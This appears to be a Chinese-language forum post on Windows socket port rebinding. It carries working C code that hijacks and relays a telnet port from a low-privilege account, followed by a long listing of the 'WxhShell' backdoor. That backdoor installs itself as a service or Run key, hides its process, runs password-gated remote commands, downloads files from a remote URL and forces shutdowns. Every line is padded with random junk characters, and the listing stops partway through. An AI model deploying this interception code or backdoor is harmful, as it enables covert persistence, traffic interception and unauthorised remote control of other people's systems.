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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !Y~UO)u2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '=_(fa,  
yvYMk(LSF  
  saddr.sin_family = AF_INET; f% pT-#  
*dw.=a9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e|]e\Or>  
XGl2rX&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pm6#azQ  
p) 8S]p]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s;VW %e  
1h$?,  
  这意味着什么?意味着可以进行如下的攻击: ;'7(gAE  
 <mn[-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N p"p*O  
xb;{<~`71  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l0Q5q)U1A  
P.]h`4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =^4Z]d  
<V&0GAZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oYqH l1cs  
;,f\Wf"BW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XY"b90  
*ub2dH4/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m+(Cl#+  
y:;.r:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9;@p2t*v  
%O \@rws  
  #include q1}!Okr"2  
  #include xuioU  
  #include yvd)pH<a2  
  #include    5BVvT `<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [^qT?se{  
  int main() ALMsF2H  
  { o2!738  
  WORD wVersionRequested; K<>kT4  
  DWORD ret; e5' I W__  
  WSADATA wsaData; _**Nlp*%  
  BOOL val; 8 lggGt  
  SOCKADDR_IN saddr; ,2M}qs"P7G  
  SOCKADDR_IN scaddr; 'UlVc2%{  
  int err; b>-DX  
  SOCKET s; n~^SwOt~;5  
  SOCKET sc; pfN(Ae Pt  
  int caddsize; :G _  
  HANDLE mt; q'mh*  
  DWORD tid;   EvT$|#FY  
  wVersionRequested = MAKEWORD( 2, 2 ); F1Z'tjj+  
  err = WSAStartup( wVersionRequested, &wsaData ); LF7- ?? '  
  if ( err != 0 ) { oZBD.s  
  printf("error!WSAStartup failed!\n"); &6sF wK  
  return -1; *9'3 `^l  
  } *[si!e%  
  saddr.sin_family = AF_INET; hYJzF.DW<$  
   u$T]A8e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p<fCGU  
TLwxP"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (D>_O$o  
  saddr.sin_port = htons(23); V^_A{\GK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {-Y;!  
  { H>TO8;5(  
  printf("error!socket failed!\n"); @](vFb  
  return -1; !T0I; j&  
  } N>I6f  
  val = TRUE; :HY$x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q#eMwM#~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T[\1=h]  
  { &L8RLSfX  
  printf("error!setsockopt failed!\n"); t13V>9to  
  return -1; <%)vl P#@  
  } L`1 ITz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `5Y*) q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !ho^:}m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qq,2V  
26j<>>2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M$K%e  
  { '<Zm>L&  
  ret=GetLastError(); h:4(Gm;  
  printf("error!bind failed!\n"); VF?H0}YSHb  
  return -1; '/>Mr!H#  
  } 6 >kULp  
  listen(s,2); "^]gIQc  
  while(1) C~En0G1  
  { 3aqH!?rVU  
  caddsize = sizeof(scaddr); B;9,Qbb  
  //接受连接请求 !l[;,l   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {$frR "K  
  if(sc!=INVALID_SOCKET) 4"P9z}y=i  
  { YC6T0m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SzW;Yb"#^k  
  if(mt==NULL) si0}b~t  
  { wps/{h,  
  printf("Thread Creat Failed!\n"); #UM,)bH  
  break; x3O%W?5  
  } *6}M.`.-  
  } =$'>VPQ  
  CloseHandle(mt); #NM)  
  } U)(R4Y6 v  
  closesocket(s); 5H3o?x   
  WSACleanup(); w'@gzK  
  return 0; X$kLBG_  
  }    ~~>m  
  DWORD WINAPI ClientThread(LPVOID lpParam) j )J |'b|  
  { A]BeI  
  SOCKET ss = (SOCKET)lpParam; -@N-i$!;J  
  SOCKET sc; 'va[)~!  
  unsigned char buf[4096]; @\by`3*Q  
  SOCKADDR_IN saddr; 7By7F:[b  
  long num; ? |M-0{  
  DWORD val; v-8>@s jy8  
  DWORD ret; !f~a3 {;j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R~g|w4a@sC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !gX xM,R  
  saddr.sin_family = AF_INET; %2 r ~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '?rR>$s  
  saddr.sin_port = htons(23); tc~gn!"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t&U9Z$LS  
  { d.&_j`\F  
  printf("error!socket failed!\n"); T<]{:\*n  
  return -1; yY$^ R|t  
  } | Y:`>2ev  
  val = 100; UQ0!tFx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Rv ;~f/2  
  { 5IU!BQU  
  ret = GetLastError(); //@6w;P  
  return -1; ";/]rwHa)  
  } }c,b]!:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZKi&f,:  
  { 'w:ugb9]  
  ret = GetLastError(); l,@>J9}Se  
  return -1; +<E#_)}`D6  
  } P'~`2W0sz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >2#<gp3  
  { e r3M vw  
  printf("error!socket connect failed!\n"); -zK>{)Z=q  
  closesocket(sc); xw*e`9vAe  
  closesocket(ss); <F3{-f'Rx  
  return -1; ,6+j oKe-  
  } dgVGP_~  
  while(1) uda++^y:  
  { Cd'D ~'=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _ZRmD\_t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kff N0(MR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #S7oW@  
  num = recv(ss,buf,4096,0); Dw i-iA_q  
  if(num>0) 'aNkU  
  send(sc,buf,num,0); FVXsu!R  
  else if(num==0) +yL;?+s>=  
  break; zjoo;(?D|  
  num = recv(sc,buf,4096,0); J6#h~fpv  
  if(num>0) . X!!dx1<  
  send(ss,buf,num,0); QSaDa@OV  
  else if(num==0) JC'3x9_<z  
  break; gJ l^K  
  }  +P(*S  
  closesocket(ss); rmg\Pa8W>  
  closesocket(sc); ,i_+Z |Ls  
  return 0 ; EZ!! V~  
  } =1[_#Moc6  
G 2`YZ\  
8~U ^G[!  
========================================================== q^[t</_ N  
e;6:U85LS  
下边附上一个代码,,WXhSHELL `}Y)l:G*g  
3,i j@P  
========================================================== XL*M#Jx  
}8#olZ/(q  
#include "stdafx.h" !Yc:yF  
!gI0"p?  
#include <stdio.h> Ug*B[q/  
#include <string.h>  ~&~4{  
#include <windows.h> c|<F8 n  
#include <winsock2.h> u(zgKoF9A  
#include <winsvc.h> <0';2yP"  
#include <urlmon.h> rQv5uoD  
(^yaAy#4  
#pragma comment (lib, "Ws2_32.lib") :>!-[hfQ  
#pragma comment (lib, "urlmon.lib") RxP~%oADw  
4 QQt 0u0  
#define MAX_USER   100 // 最大客户端连接数 ;"D}"nL  
#define BUF_SOCK   200 // sock buffer d- ZUuw  
#define KEY_BUFF   255 // 输入 buffer Lv+{@)  
+  }"+  
#define REBOOT     0   // 重启 2*snMA  
#define SHUTDOWN   1   // 关机 V_3oAu54s{  
[Fh YQI  
#define DEF_PORT   5000 // 监听端口 ";.j[p:gi  
Hec8pL  
#define REG_LEN     16   // 注册表键长度 (H:c8 0/V  
#define SVC_LEN     80   // NT服务名长度 }hy4EJ  
_sy{rnaqvb  
// 从dll定义API 4`?PtRX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5=;cN9M@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |ts0j/A]Pi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qX}3}TL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bB4FjC':  
2>jk@~Z1:u  
// wxhshell配置信息 6zM:p/  
struct WSCFG { :[@rA;L  
  int ws_port;         // 监听端口 #GGa,@O  
  char ws_passstr[REG_LEN]; // 口令 xn, u$@F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0=,Nz  
  char ws_regname[REG_LEN]; // 注册表键名 X !h>13fW  
  char ws_svcname[REG_LEN]; // 服务名 !$98 U~L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .7.1JT#@A7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J>R $K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &/m^}x/_W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !=S?*E +j)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o"Xv)#g&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^m7y=CJM  
tHzgZo Bz  
}; 0$Tb5+H5  
v,n 8$,  
// default Wxhshell configuration :G6CWE  
struct WSCFG wscfg={DEF_PORT, 8`S1E0s  
    "xuhuanlingzhe", ksq4t  
    1, n\;;T1rM  
    "Wxhshell", XrUI [ryE  
    "Wxhshell", .?:#<=1  
            "WxhShell Service", Q>L(=j2t  
    "Wrsky Windows CmdShell Service", Wm1dFf.>  
    "Please Input Your Password: ", _L=-z*a\  
  1, f5//?ek  
  "http://www.wrsky.com/wxhshell.exe", [+FiD  
  "Wxhshell.exe" bB0/FiY7o  
    }; \i?bt0bM  
H%vgPQ8  
// 消息定义模块 6,4vs+(|\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wpf~Ji6||  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .S:(O+#Gm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C'@I!m._i  
char *msg_ws_ext="\n\rExit."; `(j~b=PP  
char *msg_ws_end="\n\rQuit."; b81^756  
char *msg_ws_boot="\n\rReboot..."; `[$>S  
char *msg_ws_poff="\n\rShutdown..."; ty5# a  
char *msg_ws_down="\n\rSave to "; >Ec;6V e  
?9xWTVa8  
char *msg_ws_err="\n\rErr!"; 0(o2<d7  
char *msg_ws_ok="\n\rOK!"; J#:`'eEG  
H6Zo|n  
char ExeFile[MAX_PATH]; S.[L?uE~F  
int nUser = 0; xVsI#`<a  
HANDLE handles[MAX_USER]; h% >ZN-K)  
int OsIsNt; # Ey_.4S  
,fiV xnQ  
SERVICE_STATUS       serviceStatus; qJ5b;=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?o)?N8U  
LV ]10v6  
// 函数声明 BZv:E?1z  
int Install(void); DN%JT[7  
int Uninstall(void); aAqM)T83  
int DownloadFile(char *sURL, SOCKET wsh); }#tbK 2[  
int Boot(int flag); dB~A4pZa  
void HideProc(void); H|e7IsY%  
int GetOsVer(void); {|$kI`h,3-  
int Wxhshell(SOCKET wsl); j0"4X  
void TalkWithClient(void *cs); 3 }sy{Mx%9  
int CmdShell(SOCKET sock); fP 3eR>e  
int StartFromService(void); LRw-I.z  
int StartWxhshell(LPSTR lpCmdLine); B4HMs$>   
,f%4xXI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qn$YI9t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zA?AX1%Wa  
3u t<o-  
// 数据结构和表定义 ^f N/  
SERVICE_TABLE_ENTRY DispatchTable[] = ^d# AU7V|  
{ Uo9@Y{<B  
{wscfg.ws_svcname, NTServiceMain}, @ o<O I  
{NULL, NULL} [g`4$_9S  
}; <8~c7kT'  
_9"ZMUZ{  
// 自我安装 L{1[:a)']B  
int Install(void) ` >>]$ZJ  
{ PDH|=meXM  
  char svExeFile[MAX_PATH]; Vxo?%Dj  
  HKEY key; daCkjDGl\  
  strcpy(svExeFile,ExeFile); [T9]q8"  
3-AOB3](  
// 如果是win9x系统,修改注册表设为自启动 H6 ,bpjY  
if(!OsIsNt) { ) iV^rLwL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >bI\pJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pm9sI4S  
  RegCloseKey(key); A.yIl`'UP#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t(vyi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \' zloBU  
  RegCloseKey(key); 1}Guhayy  
  return 0; GB Vqc!d  
    } 3 QXsr<  
  } a; a1>1  
} }s"].Xm^2  
else { C \5yo  
*Cp:<M nd  
// 如果是NT以上系统,安装为系统服务 ffI=Bt]t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7'8G,|&:*  
if (schSCManager!=0) 74NL)|M  
{ ./zzuKO8XK  
  SC_HANDLE schService = CreateService vo:h"ti  
  ( *6][[)(  
  schSCManager, *T}c{/  
  wscfg.ws_svcname, 6)ysiAH?  
  wscfg.ws_svcdisp, Jw;G_dQ[  
  SERVICE_ALL_ACCESS, H}&JrT95  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mcz;`h|EW  
  SERVICE_AUTO_START, wmX(%5vY^  
  SERVICE_ERROR_NORMAL, ,jW a&7  
  svExeFile, I\-M`^@  
  NULL, DTsD<o  
  NULL, ?b}e0C-a  
  NULL, 3&"uf9d  
  NULL, 9:3`LY3wW  
  NULL 7/KK}\NE  
  ); cM,g, E}  
  if (schService!=0)  `2\:b^h  
  { 4M0p:Ey '  
  CloseServiceHandle(schService); RkTYvAk|kY  
  CloseServiceHandle(schSCManager); :)4c_51 `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z:<wB#G  
  strcat(svExeFile,wscfg.ws_svcname); n``9H 91  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z<=L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ugj I$u  
  RegCloseKey(key); T#:b  
  return 0; NYKYj`K  
    } ;gAL_/_  
  } pVzr]WFx  
  CloseServiceHandle(schSCManager); }G^'y8U  
} m$hkmD|  
} 5-H"{29  
PQ;9iv  
return 1; B>I :KGkV  
} _d^d1Q}V  
VMo:pV  
// 自我卸载 <gFisc/#r  
int Uninstall(void) &Cm]*$?  
{ L&=r-\.ev  
  HKEY key; l+wfP76w  
sV0NDM0  
if(!OsIsNt) { GJU9[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w/PE)xA  
  RegDeleteValue(key,wscfg.ws_regname); Lr d-  
  RegCloseKey(key); II=!E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VV 54$a  
  RegDeleteValue(key,wscfg.ws_regname); ,h/l-#KS  
  RegCloseKey(key); f)Y~F/[$P  
  return 0; =HV${+K=~  
  } 0`v-pL0|  
} ,_<|e\>~  
} X(.[rC>  
else { r XBC M  
+M#}(hK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A@:U|)+4  
if (schSCManager!=0) MXDCOe~07  
{ OZz!8-|wE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^B}q@/KV  
  if (schService!=0) `}L{gssv  
  { [#G*GAa6*  
  if(DeleteService(schService)!=0) { ^wwS`vPb  
  CloseServiceHandle(schService);  M_%c9g@x  
  CloseServiceHandle(schSCManager); z yp3 +|  
  return 0; ly_8p63-  
  } Wi,)a{  
  CloseServiceHandle(schService); 2AMb-&po&f  
  } 8\C][ y  
  CloseServiceHandle(schSCManager); _ShWCU-~Z  
} <c<!|<x  
} fz8 41 <Y  
B~@Gfb>`'  
return 1; .A_R6~::  
} }L%2K"8?}  
4b, +;  
// 从指定url下载文件 oIj -Y`92!  
int DownloadFile(char *sURL, SOCKET wsh) =&Tuh}  
{ "(dI/}  
  HRESULT hr; 9HPwl  
char seps[]= "/"; LCzeE7x  
char *token; %.'oY%  
char *file; `ueOb  
char myURL[MAX_PATH]; je3Qq1  
char myFILE[MAX_PATH]; tJ8:S@E3,  
Bu?Qyz2O  
strcpy(myURL,sURL); E'6/@xM  
  token=strtok(myURL,seps); 8A::q;  
  while(token!=NULL) jaavh6h)  
  { \!w |  
    file=token; K:Z(jF!j  
  token=strtok(NULL,seps); =FiO{Aw`N  
  } ^j10 f$B  
PY3bn).uR  
GetCurrentDirectory(MAX_PATH,myFILE); jffNA^e  
strcat(myFILE, "\\"); 0jPUDkH*  
strcat(myFILE, file); )iK:BL*Nw  
  send(wsh,myFILE,strlen(myFILE),0); GZn=Hgv8  
send(wsh,"...",3,0); jP2#w{xq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |b^UPrz)VS  
  if(hr==S_OK) $A/?evJi8R  
return 0; d%nX;w,  
else 1A#/70Mo  
return 1; OQKc_z'"  
,q7FK z{  
} >p;&AaXkoG  
Z#^|h0  
// 系统电源模块 !;d>}iE   
int Boot(int flag) rO{?.#~  
{ JR&yaOws  
  HANDLE hToken; 5v`lCu]  
  TOKEN_PRIVILEGES tkp; :)T*:51{#  
8K8jz9.s  
  if(OsIsNt) { cnw+^8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gf9U<J#&C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S;D]ym  
    tkp.PrivilegeCount = 1; bGy|T*@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @de0)AJG6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 HlWoHuC  
if(flag==REBOOT) { a'n17d&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d+ZXi'  
  return 0; ?_p!teb  
} xdz 6[8 d8  
else { I_N:j,Mx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R?2HnJh  
  return 0; 4PkKL/E  
} Q 8;JvCz   
  } ^SsnCn-e  
  else { \DBEs02  
if(flag==REBOOT) { f4F%\ "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #T{)y  
  return 0; P|p X F~  
} C~"UOFX  
else { n\<7`,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CF\wR;6k  
  return 0; ZitmvcMk  
} 1wd c4>  
} |-S+x]9  
""|;5kJS4  
return 1; 8t) g fSG  
} ZJF+./vN  
9k6/D.Dz  
// win9x进程隐藏模块 d<HO~+9  
void HideProc(void) 'Nuy/\[{\  
{ %;= ?r*]  
?~.:C'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]\oT({$6B  
  if ( hKernel != NULL ) Doq}UWp  
  { xO<%lq`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,oSn<$%/q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~gOZ\jm}  
    FreeLibrary(hKernel); Sl'$w4s   
  } ;3xi.^=B  
=1(7T.t  
return; %|^,Q -i,  
} I&gd"F _v}  
8O60pB;4  
// 获取操作系统版本 /"m#mh L  
int GetOsVer(void) ja/wI'J<  
{ & ,:!gYN  
  OSVERSIONINFO winfo; uudd'L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Li0+%ijM  
  GetVersionEx(&winfo); XP:fL NpQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZU `~@.`i  
  return 1; q #7Nk)<.  
  else yJO Jw o^  
  return 0; *qAG0EM|  
} @ ,;h!vB*=  
hA1B C3  
// 客户端句柄模块 yV(9@lj3;  
int Wxhshell(SOCKET wsl) ,F` 1VpTd8  
{ m_Z(osoE#W  
  SOCKET wsh; rz-61A) _  
  struct sockaddr_in client; wgolgof  
  DWORD myID; CR2.kuM0~  
.f. tPm  
  while(nUser<MAX_USER) a}|<*!4zUQ  
{ /-m)  
  int nSize=sizeof(client); * a1q M?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eY^zs0  
  if(wsh==INVALID_SOCKET) return 1; ?u".*!%  
~)>.%`v&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Ucv<S  
if(handles[nUser]==0) s'l|Ii  
  closesocket(wsh); &`vThs[x  
else uTPAf^|  
  nUser++; =_g#I  
  } LjW32>B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L]"$d F  
re#]zc<  
  return 0; -e_TJA  
} ].aFdy  
02%~HBS  
// 关闭 socket F^%\AA]8  
void CloseIt(SOCKET wsh) M6qNh`+HO  
{ E]g6|,4~-  
closesocket(wsh); 4${3e Sg_  
nUser--; QJiH^KY6  
ExitThread(0); B"#pvJN  
} !TY0;is  
:"Tkl$@,  
// 客户端请求句柄 O7LJ-M  
void TalkWithClient(void *cs) YPq:z"`-y4  
{ z[R dM#L  
@(E6P;+{  
  SOCKET wsh=(SOCKET)cs; y:$qX*+9e  
  char pwd[SVC_LEN]; {%^4%Eco  
  char cmd[KEY_BUFF]; !v9`oL26  
char chr[1]; )dEcKH<#  
int i,j; *&_cp]3-WF  
)1@%!fr  
  while (nUser < MAX_USER) { BI*0JKQu  
^J^FGo|M  
if(wscfg.ws_passstr) { ;~[}B v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P ecZuv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @]}/vsI m  
  //ZeroMemory(pwd,KEY_BUFF); /0|1xHs  
      i=0; sMUpkU-  
  while(i<SVC_LEN) { K]M@t=  
t:P]bp^#  
  // 设置超时  < ]+Mdy  
  fd_set FdRead; }0@@_Y]CC  
  struct timeval TimeOut; %_B2/~  
  FD_ZERO(&FdRead); iCh 8e>+  
  FD_SET(wsh,&FdRead); U#iW1jPE2  
  TimeOut.tv_sec=8; ;/?w-)n?  
  TimeOut.tv_usec=0; Lr6C@pI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _:5t~29  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QOrMz`OA  
Q2woCx B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B^GMncZO  
  pwd=chr[0]; h>cjRH?e  
  if(chr[0]==0xd || chr[0]==0xa) { P,WQN[(+  
  pwd=0; wS&D-!8v  
  break; u#^l9/tl  
  } RIO?rt;  
  i++; gn~^Ajo  
    } {+d)M  
`T7TWv"M  
  // 如果是非法用户,关闭 socket ]$^HGmP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RF'nwzM3  
} e m)%U  
R-OO1~W=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *f>\X[wN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D Y4!RjJ47  
gV h&c 4  
while(1) { .q4$)8[Pg  
x FM^-`7  
  ZeroMemory(cmd,KEY_BUFF); 34k>O  
I\c7V~^hnG  
      // 自动支持客户端 telnet标准   (aSuxl.Dq  
  j=0; z\8s |!  
  while(j<KEY_BUFF) { ]SPuNBsy)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h7TkMt[l  
  cmd[j]=chr[0]; }YM\IPsPu  
  if(chr[0]==0xa || chr[0]==0xd) { ]vs}-go  
  cmd[j]=0; [UC_  
  break; *!*%~h8V  
  } birc&<  
  j++; P?n4B \!  
    } J=: \b  
"X;5* 4+  
  // 下载文件 mT UoFXX[  
  if(strstr(cmd,"http://")) { ScD E)r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sf.OBU1rs  
  if(DownloadFile(cmd,wsh)) -KfK~P3PF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mv~?1aIKD  
  else cS:O|R#%t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >G%oWRk  
  } Gr/}&+S  
  else { C8T0=o/-`  
5$Kj#9g-#  
    switch(cmd[0]) { xDH#K0-#L  
  SDE$ymP x  
  // 帮助 }mIN)o  
  case '?': { ,c?( |tF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zn&ZXFgN  
    break; LW.j)wB]  
  } (EosLn h0  
  // 安装 @|wU @by{  
  case 'i': { ~OR^  
    if(Install()) 8Q)|8xpYS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fsw[ R0B  
    else t1J3'lS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i '*!c  
    break; jn(!6\n"  
    } }79jyS-e  
  // 卸载 'xG J;pY  
  case 'r': { 4Otq3s34FT  
    if(Uninstall()) }+pwSjsno  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2PRiiL@  
    else _ A# lyp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kV T |(Y  
    break; <;?1#ok  
    } vazA@|^8  
  // 显示 wxhshell 所在路径 `O0Qtq.  
  case 'p': { [r3sk24  
    char svExeFile[MAX_PATH]; 0,0Z!-Y  
    strcpy(svExeFile,"\n\r"); ~]d9 J  
      strcat(svExeFile,ExeFile); /!?Tv8TPp  
        send(wsh,svExeFile,strlen(svExeFile),0); ,]:< l  
    break; (?^F }]  
    } :A @f[Y'9  
  // 重启 \#Jq%nd  
  case 'b': { 'kC#GTZi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #V]8FW  
    if(Boot(REBOOT)) \mJR^t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wex2Fd?DO  
    else { 6fI2y4yEz  
    closesocket(wsh); <8kCmuGlk  
    ExitThread(0); JeNX5bXW  
    } S,Q^M )$  
    break; CdmpKkq#  
    } =P9rOK=  
  // 关机 J(/J;PW  
  case 'd': { .JB1#&B +  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YzM/?enK}T  
    if(Boot(SHUTDOWN)) MnF|'t  
